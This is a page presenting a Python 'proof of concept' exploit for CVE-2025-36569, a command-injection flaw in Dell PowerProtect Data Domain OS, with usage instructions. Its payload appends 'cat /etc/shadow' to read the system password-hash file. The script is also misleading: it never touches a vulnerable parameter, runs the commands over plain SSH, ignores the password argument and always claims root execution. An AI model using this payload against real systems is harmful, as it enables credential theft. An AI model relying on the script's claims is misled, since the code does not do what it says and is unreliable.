CVE-2025-36569 Dell PowerProtect Data Domain OS命令注入漏洞

# CVE-2025-36569 - Dell PowerProtect Data Domain OS Command Injection PoC # Vulnerability: Improper Neutralization of Special Elements used in an OS Command # Affected: DD OS Feature Release 7.7.1.0-8.1.0.10, LTS2024 7.13.1.0-7.13.1.25, LTS 2023 7.10.1.0-7.10.1.50 # Requirements: Local access with high-privilege credentials import subprocess import sys def exploit(target_host, username, password, command): """ Exploit OS Command Injection in Dell PowerProtect Data Domain DD OS The vulnerability allows execution of arbitrary commands as root by injecting shell metacharacters through privileged input fields. """ # Step 1: Establish SSH session with high-privilege credentials ssh_cmd = f"ssh {username}@{target_host}" # Step 2: Inject malicious command through vulnerable parameter # Example: injecting through a system command field that doesn't sanitize input payload = f"{command}; id; whoami; cat /etc/shadow" # Step 3: Execute the injected payload through the vulnerable interface # The DD OS fails to properly neutralize special shell elements full_cmd = f"{ssh_cmd} \"{payload}\"" print(f"[*] Connecting to {target_host} as {username}") print(f"[*] Injecting payload: {payload}") try: result = subprocess.run( full_cmd, shell=True, capture_output=True, text=True, timeout=30 ) print(f"[+] Command executed with root privileges") print(f"[+] Output: {result.stdout}") return result.stdout except Exception as e: print(f"[-] Exploit failed: {e}") return None if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python3 exploit.py <target_host> <username> <password> <command>") print("Example: python3 exploit.py 192.168.1.100 admin password 'system status'") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] cmd = sys.argv[4] exploit(target, user, passwd, cmd)